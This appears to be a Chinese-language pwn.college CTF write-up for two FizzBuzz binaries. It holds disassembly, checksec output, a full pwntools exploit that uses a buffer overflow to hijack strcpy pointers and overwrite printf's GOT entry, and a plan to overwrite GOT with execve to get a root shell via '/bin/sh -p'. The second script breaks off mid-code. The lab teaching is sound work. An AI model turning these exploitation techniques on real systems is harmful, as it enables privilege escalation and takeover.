│ ╎│ 0x0000147a 89d0 mov eax, edx
│ ╎│ 0x0000147c c1f81f sar eax, 0x1f
│ ╎│ 0x0000147f 29c1 sub ecx, eax
│ ╎│ 0x00001481 89c8 mov eax, ecx
│ ╎│ 0x00001483 89c1 mov ecx, eax
│ ╎│ 0x00001485 c1e104 shl ecx, 4
│ ╎│ 0x00001488 29c1 sub ecx, eax
│ ╎│ 0x0000148a 89d0 mov eax, edx
│ ╎│ 0x0000148c 29c8 sub eax, ecx
│ ╎│ 0x0000148e 85c0 test eax, eax
│ ┌───< 0x00001490 7510 jne 0x14a2
│ │╎│ 0x00001492 488d05ff2b.. lea rax, obj.fuzzbuzz ; 0x4098 ; "FizzBuzz\n"
│ │╎│ 0x00001499 488945e0 mov qword [src], rax
│ ┌────< 0x0000149d e980000000 jmp 0x1522
│ ││╎│ ; CODE XREF from sym.challenge @ 0x1490(x)
│ │└───> 0x000014a2 8b4ddc mov ecx, dword [var_24h]
│ │ ╎│ 0x000014a5 4863c1 movsxd rax, ecx
│ │ ╎│ 0x000014a8 4869c05655.. imul rax, rax, 0x55555556
│ │ ╎│ 0x000014af 48c1e820 shr rax, 0x20
│ │ ╎│ 0x000014b3 4889c2 mov rdx, rax
│ │ ╎│ 0x000014b6 89c8 mov eax, ecx
│ │ ╎│ 0x000014b8 c1f81f sar eax, 0x1f
│ │ ╎│ 0x000014bb 89d6 mov esi, edx
│ │ ╎│ 0x000014bd 29c6 sub esi, eax
│ │ ╎│ 0x000014bf 89f0 mov eax, esi
│ │ ╎│ 0x000014c1 89c2 mov edx, eax
│ │ ╎│ 0x000014c3 01d2 add edx, edx
│ │ ╎│ 0x000014c5 01c2 add edx, eax
│ │ ╎│ 0x000014c7 89c8 mov eax, ecx
│ │ ╎│ 0x000014c9 29d0 sub eax, edx
│ │ ╎│ 0x000014cb 85c0 test eax, eax
│ │┌───< 0x000014cd 750d jne 0x14dc
│ ││╎│ 0x000014cf 488d05ba2b.. lea rax, obj.fizz ; 0x4090 ; "Fizz\n"
│ ││╎│ 0x000014d6 488945e0 mov qword [src], rax
│ ┌─────< 0x000014da eb46 jmp 0x1522
│ │││╎│ ; CODE XREF from sym.challenge @ 0x14cd(x)
│ ││└───> 0x000014dc 8b4ddc mov ecx, dword [var_24h]
│ ││ ╎│ 0x000014df 4863c1 movsxd rax, ecx
│ ││ ╎│ 0x000014e2 4869c06766.. imul rax, rax, 0x66666667
│ ││ ╎│ 0x000014e9 48c1e820 shr rax, 0x20
│ ││ ╎│ 0x000014ed 89c2 mov edx, eax
│ ││ ╎│ 0x000014ef d1fa sar edx, 1
│ ││ ╎│ 0x000014f1 89c8 mov eax, ecx
│ ││ ╎│ 0x000014f3 c1f81f sar eax, 0x1f
│ ││ ╎│ 0x000014f6 29c2 sub edx, eax
│ ││ ╎│ 0x000014f8 89d0 mov eax, edx
│ ││ ╎│ 0x000014fa 89c2 mov edx, eax
│ ││ ╎│ 0x000014fc c1e202 shl edx, 2
│ ││ ╎│ 0x000014ff 01c2 add edx, eax
│ ││ ╎│ 0x00001501 89c8 mov eax, ecx
│ ││ ╎│ 0x00001503 29d0 sub eax, edx
│ ││ ╎│ 0x00001505 85c0 test eax, eax
│ ││┌───< 0x00001507 750e jne 0x1517
│ │││╎│ 0x00001509 488d4590 lea rax, [buf]
│ │││╎│ 0x0000150d 4883c044 add rax, 0x44
│ │││╎│ 0x00001511 488945e0 mov qword [src], rax
│ ┌──────< 0x00001515 eb0b jmp 0x1522
│ ││││╎│ ; CODE XREF from sym.challenge @ 0x1507(x)
│ │││└───> 0x00001517 488d05822b.. lea rax, obj.nothing ; 0x40a0 ; "\n"
│ │││ ╎│ 0x0000151e 488945e0 mov qword [src], rax
│ │││ ╎│ ; CODE XREFS from sym.challenge @ 0x149d(x), 0x14da(x), 0x1515(x)
│ └└└────> 0x00001522 8b45dc mov eax, dword [var_24h]
│ ╎│ 0x00001525 89c6 mov esi, eax
│ ╎│ 0x00001527 488d3df40b.. lea rdi, str._d: ; 0x2122 ; "%d: " ; const char *format
│ ╎│ 0x0000152e b800000000 mov eax, 0
│ ╎│ 0x00001533 e838fcffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x00001538 488d4590 lea rax, [buf]
│ ╎│ 0x0000153c 4883c014 add rax, 0x14
│ ╎│ 0x00001540 ba50000000 mov edx, 0x50 ; 'P' ; size_t nbyte
│ ╎│ 0x00001545 4889c6 mov rsi, rax ; void *buf
│ ╎│ 0x00001548 bf00000000 mov edi, 0 ; int fildes
│ ╎│ 0x0000154d e83efcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ╎│ 0x00001552 488d4590 lea rax, [buf]
│ ╎│ 0x00001556 4883c014 add rax, 0x14
│ ╎│ 0x0000155a 4889c6 mov rsi, rax
│ ╎│ 0x0000155d 488d3dc30b.. lea rdi, str.You_entered:__s_n ; 0x2127 ; "You entered: %s\n" ; const char *format
│ ╎│ 0x00001564 b800000000 mov eax, 0
│ ╎│ 0x00001569 e802fcffff call sym.imp.printf ; int printf(const char *format)
# 强制把输入的第一个字节变成了 \x00 (Null Byte)
│ ╎│ 0x0000156e c645a400 mov byte [var_5ch], 0
│ ╎│ 0x00001572 488b55e0 mov rdx, qword [src]
│ ╎│ 0x00001576 488b45e8 mov rax, qword [dest]
│ ╎│ 0x0000157a 4889d6 mov rsi, rdx ; const char *src
│ ╎│ 0x0000157d 4889c7 mov rdi, rax ; char *dest
│ ╎│ 0x00001580 e8abfbffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
│ ╎│ 0x00001585 488b45e8 mov rax, qword [dest]
│ ╎│ 0x00001589 4889c6 mov rsi, rax
│ ╎│ 0x0000158c 488d3da50b.. lea rdi, str.Correct_answer:__s_n ; 0x2138 ; "Correct answer: %s\n" ; const char *format
│ ╎│ 0x00001593 b800000000 mov eax, 0
│ ╎│ 0x00001598 e8d3fbffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x0000159d 8b45dc mov eax, dword [var_24h]
│ ╎│ 0x000015a0 83c001 add eax, 1
│ ╎│ 0x000015a3 8945dc mov dword [var_24h], eax
│ ╎│ ; CODE XREF from sym.challenge @ 0x145d(x)
│ ╎└─> 0x000015a6 8b55dc mov edx, dword [var_24h]
│ ╎ 0x000015a9 8b4590 mov eax, dword [buf]
│ ╎ 0x000015ac 39c2 cmp edx, eax
│ └──< 0x000015ae 0f8caefeffff jl 0x1462
│ 0x000015b4 90 nop
│ 0x000015b5 488b75f8 mov rsi, qword [canary]
│ 0x000015b9 6448333425.. xor rsi, qword fs:[0x28]
│ ┌─< 0x000015c2 7405 je 0x15c9
│ │ 0x000015c4 e897fbffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.challenge @ 0x15c2(x)
│ └─> 0x000015c9 c9 leave
└ 0x000015ca c3 ret
┌ 263: sym.win ();
│ 0x000012c9 f30f1efa endbr64
│ 0x000012cd 55 push rbp
│ 0x000012ce 4889e5 mov rbp, rsp
│ 0x000012d1 488d3d300d.. lea rdi, str.You_win__Here_is_your_flag: ; 0x2008 ; "You win! Here is your flag:" ; const char *s
│ 0x000012d8 e863feffff call sym.imp.puts ; int puts(const char *s)
│ 0x000012dd be00000000 mov esi, 0 ; int oflag
│ 0x000012e2 488d3d3b0d.. lea rdi, str._flag ; 0x2024 ; "/flag" ; const char *path
│ 0x000012e9 b800000000 mov eax, 0
│ 0x000012ee e8bdfeffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x000012f3 8905e72d0000 mov dword [obj.flag_fd.5698], eax ; [0x40e0:4]=0
│ 0x000012f9 8b05e12d0000 mov eax, dword [obj.flag_fd.5698] ; [0x40e0:4]=0
│ 0x000012ff 85c0 test eax, eax
│ ┌─< 0x00001301 794d jns 0x1350
│ │ 0x00001303 e818feffff call sym.imp.__errno_location
│ │ 0x00001308 8b00 mov eax, dword [rax]
│ │ 0x0000130a 89c7 mov edi, eax ; int errnum
│ │ 0x0000130c e8bffeffff call sym.imp.strerror ; char *strerror(int errnum)
│ │ 0x00001311 4889c6 mov rsi, rax
│ │ 0x00001314 488d3d150d.. lea rdi, str._n__ERROR:_Failed_to_open_the_flag_____s__n ; 0x2030 ; "\n ERROR: Failed to open the flag -- %s!\n" ; const char *format
│ │ 0x0000131b b800000000 mov eax, 0
│ │ 0x00001320 e84bfeffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x00001325 e856feffff call sym.imp.geteuid ; uid_t geteuid(void)
│ │ 0x0000132a 85c0 test eax, eax
│ ┌──< 0x0000132c 7418 je 0x1346
│ ││ 0x0000132e 488d3d2b0d.. lea rdi, str.__Your_effective_user_id_is_not_0_ ; 0x2060 ; " Your effective user id is not 0!" ; const char *s
│ ││ 0x00001335 e806feffff call sym.imp.puts ; int puts(const char *s)
│ ││ 0x0000133a 488d3d470d.. lea rdi, str.__You_must_directly_run_the_suid_binary_in_order_to_have_the_correct_permissions_ ; 0x2088 ; " You must directly run the suid binary in order to have the correct permissions!" ; const char *s
│ ││ 0x00001341 e8fafdffff call sym.imp.puts ; int puts(const char *s)
│ ││ ; CODE XREF from sym.win @ 0x132c(x)
│ └──> 0x00001346 bfffffffff mov edi, 0xffffffff ; -1 ; int status
│ │ 0x0000134b e870feffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.win @ 0x1301(x)
│ └─> 0x00001350 8b058a2d0000 mov eax, dword [obj.flag_fd.5698] ; [0x40e0:4]=0
│ 0x00001356 ba00010000 mov edx, 0x100 ; size_t nbyte
│ 0x0000135b 488d359e2d.. lea rsi, obj.flag.5697 ; 0x4100 ; void *buf
│ 0x00001362 89c7 mov edi, eax ; int fildes
│ 0x00001364 e827feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00001369 8905912e0000 mov dword [obj.flag_length.5699], eax ; [0x4200:4]=0
│ 0x0000136f 8b058b2e0000 mov eax, dword [obj.flag_length.5699] ; [0x4200:4]=0
│ 0x00001375 85c0 test eax, eax
│ ┌─< 0x00001377 7f2c jg 0x13a5
│ │ 0x00001379 e8a2fdffff call sym.imp.__errno_location
│ │ 0x0000137e 8b00 mov eax, dword [rax]
│ │ 0x00001380 89c7 mov edi, eax ; int errnum
│ │ 0x00001382 e849feffff call sym.imp.strerror ; char *strerror(int errnum)
│ │ 0x00001387 4889c6 mov rsi, rax
│ │ 0x0000138a 488d3d4f0d.. lea rdi, str._n__ERROR:_Failed_to_read_the_flag_____s__n ; 0x20e0 ; "\n ERROR: Failed to read the flag -- %s!\n" ; const char *format
│ │ 0x00001391 b800000000 mov eax, 0
│ │ 0x00001396 e8d5fdffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x0000139b bfffffffff mov edi, 0xffffffff ; -1 ; int status
│ │ 0x000013a0 e81bfeffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.win @ 0x1377(x)
│ └─> 0x000013a5 8b05552e0000 mov eax, dword [obj.flag_length.5699] ; [0x4200:4]=0
│ 0x000013ab 4898 cdqe
│ 0x000013ad 4889c2 mov rdx, rax ; size_t nbytes
│ 0x000013b0 488d35492d.. lea rsi, obj.flag.5697 ; 0x4100 ; const char *ptr
│ 0x000013b7 bf01000000 mov edi, 1 ; int fd
│ 0x000013bc e88ffdffff call sym.imp.write ; ssize_t write(int fd, const char *ptr, size_t nbytes)
│ 0x000013c1 488d3d420d.. lea rdi, [0x0000210a] ; "\n" ; const char *s
│ 0x000013c8 e873fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x000013cd 90 nop
│ 0x000013ce 5d pop rbp
└ 0x000013cf c3 ret

仔细看汇编里的栈分配和 read() 调用:

  • 0x000013d8 sub rsp, 0x90:开辟了 144 字节空间。
  • canary 位于 rbp - 0x8
  • var_24h (循环计数器) 位于 rbp - 0x24
  • src 指针位于 rbp - 0x20
  • dest 指针位于 rbp - 0x18
  • read() 的输入起点在 buf + 0x14,通过计算可以得出它位于 rbp - 0x5c

最关键的变化在 read() 的参数:

1
0x00001540  mov edx, 0x50  ; size_t nbyte = 80

现在的缓冲区溢出最多只能写 80 个字节。 buffer address (rbp - 0x5c) 到 Canary (rbp - 0x8) 的距离是 0x5c - 0x8 = 0x54 (84 字节)。

最多只能写到 rbp - 0xc

既然碰不到返回地址 (rbp + 0x8),我们怎么劫持控制流?破局点在于覆盖的局部变量: 距离起点 60 字节的地方是 src,68 字节的地方是 dest。这两个指针完全在 80 字节范围内。

1
2
3
4
5
6
7
8
9
10
hacker@program-security~does-it-buzz:~$ checksec /challenge/does-it-buzz
[*] '/challenge/does-it-buzz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
  • SHSTK: Enabled (Hardware Shadow Stack / 硬件影子栈)
  • IBT: Enabled (Indirect Branch Tracking / 间接分支追踪)

当我们用 strcpy 把后门地址写进 saved_rip 后,函数走到最后执行 ret 指令。 现代系统里,CPU 内部维护了一个只有硬件能访问的影子栈 (Shadow Stack)。当你执行 call 时,返回地址会同时压入普通栈和影子栈;当你执行 ret 时,CPU 会把普通栈上的地址和影子栈里的地址做对比。对比失败 CPU 硬件直接抛出 Control Protection Exception (#CP)

  • RELRO: Partial RELRO

Partial RELRO 意味着全局偏移表 (GOT) 是可写的 看一下 strcpy 之后程序干了什么:

1
2
3
4
5
0x00001580      call sym.imp.strcpy        ; 我们控制的任意写入
0x00001585 mov rax, qword [dest]
0x00001589 mov rsi, rax
0x0000158c lea rdi, str.Correct_answer:__s_n
0x00001598 call sym.imp.printf ; 调用了 printf

如果我们在 strcpy 的时候,把目标地址 (dest) 设置为 printf 的 GOT 表地址,把写入内容设为 sym.win,那么下一条指令 call printf 就会直接跳进 win 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

def exploit():
elf = ELF("/challenge/does-it-buzz")
p = process(elf.path)

# 推进到第 5 次循环 (var_24h == 5)
for i in range(6):
p.recvuntil(f"{i}: ".encode())
if i < 5:
p.send(b"A")

# --- 阶段一:Stack Leak ---
payload_leak_stack = b"A" * 56 + b"\xff\xff\xff\xff"
p.send(payload_leak_stack)
p.recvuntil(b"You entered: " + payload_leak_stack)
stack_leak = u64(p.recv(6).ljust(8, b"\x00"))

buf_addr = stack_leak - 0x44
log.info(f"[+] Stack Leaked! buf address: {hex(buf_addr)}")

# --- 阶段二:PIE Leak ---
p.recvuntil(b"0: ")
payload_leak_pie = b"A" * 56 + b"\xff\xff\xff\xff"
p.send(payload_leak_pie)
p.recvuntil(b"You entered: " + payload_leak_pie)
pie_leak = u64(p.recv(6).ljust(8, b"\x00"))

pie_base = pie_leak - 0x4098
elf.address = pie_base # 直接更新 ELF 基址,让 pwntools 算偏移
log.info(f"[+] PIE Leaked! base address: {hex(pie_base)}")

# --- 阶段三: GOT 劫持 ---
p.recvuntil(b"0: ")

sym_win = elf.sym['win'] # 直接读取后门函数地址
printf_got = elf.got['printf'] # 直接读取 printf 的 GOT 表地址
src_addr = buf_addr + 0x15 # 错位一个字节,躲避强制清零机制

payload = b"X" + p64(sym_win) # X 会被清零(),保留完整的 p64 地址
payload = payload.ljust(56, b"A") # Padding
payload += p32(16) # 56: var_24h
payload += p64(src_addr) # 60: 劫持 src
payload += p64(printf_got) # 68: 劫持 dest 指向 GOT 表!

p.send(payload)
p.interactive()

if __name__ == "__main__":
exploit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
hacker@program-security~does-it-buzz:~$ python a.py
[*] '/challenge/does-it-buzz'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/challenge/does-it-buzz': pid 209
[*] [+] Stack Leaked! buf address: 0x7fff4b678610
[*] [+] PIE Leaked! base address: 0x596805058000
[*] Switching to interactive mode
[*] Process '/challenge/does-it-buzz' stopped with exit code 0 (pid 209)
You entered: Xɒ\x05\x05hY
You win! Here is your flag:
pwn.college{*********************************************}


### Goodbye!
[*] Got EOF while reading in interactive
$

Make It FizzBuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
hacker@program-security~make-it-fizzbuzz:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/make-it-fizbuzz
┌ 545: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(rdi, rsi, rdx) vars(14:sp[0x10..0x70])
│ 0x000012d4 f30f1efa endbr64
│ 0x000012d8 55 push rbp
│ 0x000012d9 4889e5 mov rbp, rsp
│ 0x000012dc 4883ec70 sub rsp, 0x70
│ 0x000012e0 897dac mov dword [var_54h], edi ; arg1
│ 0x000012e3 488975a0 mov qword [var_60h], rsi ; arg2
│ 0x000012e7 48895598 mov qword [var_68h], rdx ; arg3
│ 0x000012eb 64488b0425.. mov rax, qword fs:[0x28]
│ 0x000012f4 488945f8 mov qword [canary], rax
│ 0x000012f8 31c0 xor eax, eax
│ 0x000012fa 48c745b000.. mov qword [buf], 0
│ 0x00001302 48c745b800.. mov qword [var_48h], 0
│ 0x0000130a 48c745c000.. mov qword [var_40h], 0
│ 0x00001312 48c745c800.. mov qword [var_38h], 0
│ 0x0000131a 48c745d000.. mov qword [var_30h], 0
│ 0x00001322 48c745d800.. mov qword [var_28h], 0
│ 0x0000132a 48c745e000.. mov qword [src], 0
│ 0x00001332 48c745e800.. mov qword [dest], 0
│ 0x0000133a 488d45b0 lea rax, [buf]
│ 0x0000133e 4883c004 add rax, 4
│ 0x00001342 488945e8 mov qword [dest], rax
│ 0x00001346 488d45b0 lea rax, [buf]
│ 0x0000134a 4883c014 add rax, 0x14
│ 0x0000134e 488945e0 mov qword [src], rax
│ 0x00001352 c745dc0000.. mov dword [var_24h], 0
│ 0x00001359 c745b01000.. mov dword [buf], 0x10
│ 0x00001360 488d45b0 lea rax, [buf]
│ 0x00001364 4883c024 add rax, 0x24
│ 0x00001368 c70042757a7a mov dword [rax], 0x7a7a7542 ; 'Buzz'
│ ; [0x7a7a7542:4]=-1
│ 0x0000136e 66c740040a00 mov word [rax + 4], 0xa
│ 0x00001374 488d3d920c.. lea rdi, str.Welcome_to_Fizz_Buzz_ ; 0x200d ; "Welcome to Fizz Buzz!" ; const char *s
│ 0x0000137b e880fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x00001380 c745dc0000.. mov dword [var_24h], 0
│ ┌─< 0x00001387 e944010000 jmp 0x14d0
│ │ ; CODE XREF from sym.challenge @ 0x14d8(x)
│ ┌──> 0x0000138c 8b55dc mov edx, dword [var_24h]
│ ╎│ 0x0000138f 4863c2 movsxd rax, edx
│ ╎│ 0x00001392 4869c08988.. imul rax, rax, 0xffffffff88888889
│ ╎│ 0x00001399 48c1e820 shr rax, 0x20
│ ╎│ 0x0000139d 01d0 add eax, edx
│ ╎│ 0x0000139f c1f803 sar eax, 3
│ ╎│ 0x000013a2 89c1 mov ecx, eax
│ ╎│ 0x000013a4 89d0 mov eax, edx
│ ╎│ 0x000013a6 c1f81f sar eax, 0x1f
│ ╎│ 0x000013a9 29c1 sub ecx, eax
│ ╎│ 0x000013ab 89c8 mov eax, ecx
│ ╎│ 0x000013ad 89c1 mov ecx, eax
│ ╎│ 0x000013af c1e104 shl ecx, 4
│ ╎│ 0x000013b2 29c1 sub ecx, eax
│ ╎│ 0x000013b4 89d0 mov eax, edx
│ ╎│ 0x000013b6 29c8 sub eax, ecx
│ ╎│ 0x000013b8 85c0 test eax, eax
│ ┌───< 0x000013ba 7510 jne 0x13cc
│ │╎│ 0x000013bc 488d05bd2c.. lea rax, obj.fuzzbuzz ; 0x4080 ; "FizzBuzz\n"
│ │╎│ 0x000013c3 488945e0 mov qword [src], rax
│ ┌────< 0x000013c7 e980000000 jmp 0x144c
│ ││╎│ ; CODE XREF from sym.challenge @ 0x13ba(x)
│ │└───> 0x000013cc 8b4ddc mov ecx, dword [var_24h]
│ │ ╎│ 0x000013cf 4863c1 movsxd rax, ecx
│ │ ╎│ 0x000013d2 4869c05655.. imul rax, rax, 0x55555556
│ │ ╎│ 0x000013d9 48c1e820 shr rax, 0x20
│ │ ╎│ 0x000013dd 4889c2 mov rdx, rax
│ │ ╎│ 0x000013e0 89c8 mov eax, ecx
│ │ ╎│ 0x000013e2 c1f81f sar eax, 0x1f
│ │ ╎│ 0x000013e5 89d6 mov esi, edx
│ │ ╎│ 0x000013e7 29c6 sub esi, eax
│ │ ╎│ 0x000013e9 89f0 mov eax, esi
│ │ ╎│ 0x000013eb 89c2 mov edx, eax
│ │ ╎│ 0x000013ed 01d2 add edx, edx
│ │ ╎│ 0x000013ef 01c2 add edx, eax
│ │ ╎│ 0x000013f1 89c8 mov eax, ecx
│ │ ╎│ 0x000013f3 29d0 sub eax, edx
│ │ ╎│ 0x000013f5 85c0 test eax, eax
│ │┌───< 0x000013f7 750d jne 0x1406
│ ││╎│ 0x000013f9 488d05782c.. lea rax, obj.fizz ; 0x4078 ; "Fizz\n"
│ ││╎│ 0x00001400 488945e0 mov qword [src], rax
│ ┌─────< 0x00001404 eb46 jmp 0x144c
│ │││╎│ ; CODE XREF from sym.challenge @ 0x13f7(x)
│ ││└───> 0x00001406 8b4ddc mov ecx, dword [var_24h]
│ ││ ╎│ 0x00001409 4863c1 movsxd rax, ecx
│ ││ ╎│ 0x0000140c 4869c06766.. imul rax, rax, 0x66666667
│ ││ ╎│ 0x00001413 48c1e820 shr rax, 0x20
│ ││ ╎│ 0x00001417 89c2 mov edx, eax
│ ││ ╎│ 0x00001419 d1fa sar edx, 1
│ ││ ╎│ 0x0000141b 89c8 mov eax, ecx
│ ││ ╎│ 0x0000141d c1f81f sar eax, 0x1f
│ ││ ╎│ 0x00001420 29c2 sub edx, eax
│ ││ ╎│ 0x00001422 89d0 mov eax, edx
│ ││ ╎│ 0x00001424 89c2 mov edx, eax
│ ││ ╎│ 0x00001426 c1e202 shl edx, 2
│ ││ ╎│ 0x00001429 01c2 add edx, eax
│ ││ ╎│ 0x0000142b 89c8 mov eax, ecx
│ ││ ╎│ 0x0000142d 29d0 sub eax, edx
│ ││ ╎│ 0x0000142f 85c0 test eax, eax
│ ││┌───< 0x00001431 750e jne 0x1441
│ │││╎│ 0x00001433 488d45b0 lea rax, [buf]
│ │││╎│ 0x00001437 4883c024 add rax, 0x24
│ │││╎│ 0x0000143b 488945e0 mov qword [src], rax
│ ┌──────< 0x0000143f eb0b jmp 0x144c
│ ││││╎│ ; CODE XREF from sym.challenge @ 0x1431(x)
│ │││└───> 0x00001441 488d05402c.. lea rax, obj.nothing ; 0x4088 ; "\n"
│ │││ ╎│ 0x00001448 488945e0 mov qword [src], rax
│ │││ ╎│ ; CODE XREFS from sym.challenge @ 0x13c7(x), 0x1404(x), 0x143f(x)
│ └└└────> 0x0000144c 8b45dc mov eax, dword [var_24h]
│ ╎│ 0x0000144f 89c6 mov esi, eax
│ ╎│ 0x00001451 488d3dcb0b.. lea rdi, str._d: ; 0x2023 ; "%d: " ; const char *format
│ ╎│ 0x00001458 b800000000 mov eax, 0
│ ╎│ 0x0000145d e8befcffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x00001462 488d45b0 lea rax, [buf]
│ ╎│ 0x00001466 4883c014 add rax, 0x14
│ ╎│ 0x0000146a ba54000000 mov edx, 0x54 ; 'T' ; size_t nbyte
│ ╎│ 0x0000146f 4889c6 mov rsi, rax ; void *buf
│ ╎│ 0x00001472 bf00000000 mov edi, 0 ; int fildes
# buffer overflow
│ ╎│ 0x00001477 e8b4fcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ ╎│ 0x0000147c 488d45b0 lea rax, [buf]
│ ╎│ 0x00001480 4883c014 add rax, 0x14
│ ╎│ 0x00001484 4889c6 mov rsi, rax
│ ╎│ 0x00001487 488d3d9a0b.. lea rdi, str.You_entered:__s_n ; 0x2028 ; "You entered: %s\n" ; const char *format
│ ╎│ 0x0000148e b800000000 mov eax, 0
│ ╎│ 0x00001493 e888fcffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x00001498 c645c400 mov byte [var_3ch], 0 # '\x00'
│ ╎│ 0x0000149c 488b55e0 mov rdx, qword [src]
│ ╎│ 0x000014a0 488b45e8 mov rax, qword [dest]
│ ╎│ 0x000014a4 4889d6 mov rsi, rdx ; const char *src
│ ╎│ 0x000014a7 4889c7 mov rdi, rax ; char *dest
# strcpy
│ ╎│ 0x000014aa e841fcffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
│ ╎│ 0x000014af 488b45e8 mov rax, qword [dest]
│ ╎│ 0x000014b3 4889c6 mov rsi, rax
│ ╎│ 0x000014b6 488d3d7c0b.. lea rdi, str.Correct_answer:__s_n ; 0x2039 ; "Correct answer: %s\n" ; const char *format
│ ╎│ 0x000014bd b800000000 mov eax, 0
│ ╎│ 0x000014c2 e859fcffff call sym.imp.printf ; int printf(const char *format)
│ ╎│ 0x000014c7 8b45dc mov eax, dword [var_24h]
│ ╎│ 0x000014ca 83c001 add eax, 1
│ ╎│ 0x000014cd 8945dc mov dword [var_24h], eax
│ ╎│ ; CODE XREF from sym.challenge @ 0x1387(x)
│ ╎└─> 0x000014d0 8b55dc mov edx, dword [var_24h]
│ ╎ 0x000014d3 8b45b0 mov eax, dword [buf]
│ ╎ 0x000014d6 39c2 cmp edx, eax
│ └──< 0x000014d8 0f8caefeffff jl 0x138c
│ 0x000014de 90 nop
│ 0x000014df 488b7df8 mov rdi, qword [canary]
│ 0x000014e3 6448333c25.. xor rdi, qword fs:[0x28]
│ ┌─< 0x000014ec 7405 je 0x14f3
│ │ 0x000014ee e81dfcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.challenge @ 0x14ec(x)
│ └─> 0x000014f3 c9 leave
└ 0x000014f4 c3 ret
1
2
3
4
5
6
7
8
9
10
hacker@program-security~make-it-fizzbuzz:~$ checksec /challenge/make-it-fizbuzz
[*] '/challenge/make-it-fizbuzz'
Arch: amd64-64-little
RELRO: Partial RELRO # GOT is writable
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled # can't overwrite return address
IBT: Enabled
Stripped: No
  1. 泄露 Stack & PIE:利用 FizzBuzz 机制泄露栈指针和程序基址。
  2. 泄露 Libc :将 src 指向 printf 的 GOT 表,将 dest 指向栈上的安全区(比如 buf)。strcpy 会把 libc 地址复制过来,紧接着的 printf("Correct answer: %s\n", dest) 就会把 libc 地址泄露给终端
  3. 劫持 GOT 表:有了 libc 基址,算出 execve 的真实地址。再次利用 strcpy,把 execve 的地址写进 strcpy 自己的 GOT 表里

汇编代码里调用 strcpy 的传参过程,rsi 和 rdx 都被赋予了 src 的值。

这意味着,如果我们将 dest 指向字符串 "/bin/sh",将 src 指向一个指针数组 ["/bin/sh", "-p", NULL]:

rdi (可执行文件路径) = "/bin/sh"

rsi (命令行参数 argv) = ["/bin/sh", "-p", NULL]

rdx (环境变量 envp) = ["/bin/sh", "-p", NULL]

最核心的优势:使用 execve 并通过 argv 传入 -p 参数,可以直接让 /bin/sh 保持 SUID 的 Root 权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

def run_exploit():
elf = ELF("/challenge/make-it-fizbuzz")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process(elf.path)

# 推进到第 5 次循环
for i in range(6):
p.recvuntil(f"{i}: ".encode())
if i < 5:
p.send(b"A")

# --- 阶段一:Stack Leak ---
payload_leak_stack = b"A" * 24 + b"\xff\xff\xff\xff"
p.send(payload_leak_stack)
p.recvuntil(b"You entered: " + payload_leak_stack)
stack_leak = u64(p.recv(6).ljust(8, b"\x00"))
buf_addr = stack_leak - 0x24

# --- 阶段二:PIE Leak ---
p.recvuntil(b"0: ")
payload_leak_pie = b"A" * 24 + b"\xff\xff\xff\xff"
p.send(payload_leak_pie)
p.recvuntil(b"You entered: " + payload_leak_pie)
pie_leak = u64(p.recv(6).ljust(8, b"\x00"))

pie_base = pie_leak - 0x4080

if pie_base < 0x500000000000 or pie_base > 0x600000000000:
log.warning(f"检测到 Null Byte")
p.close()
return False

elf.address = pie_base
log.info(f"[+] Stack Leaked! buf address: {hex(buf_addr)}")
log.info(f"[+] PIE Leaked! base address: {hex(pie_base)}")

# --- 阶段三:Libc Leak ---
p.recvuntil(b"0: ")
printf_got = elf.got['printf']
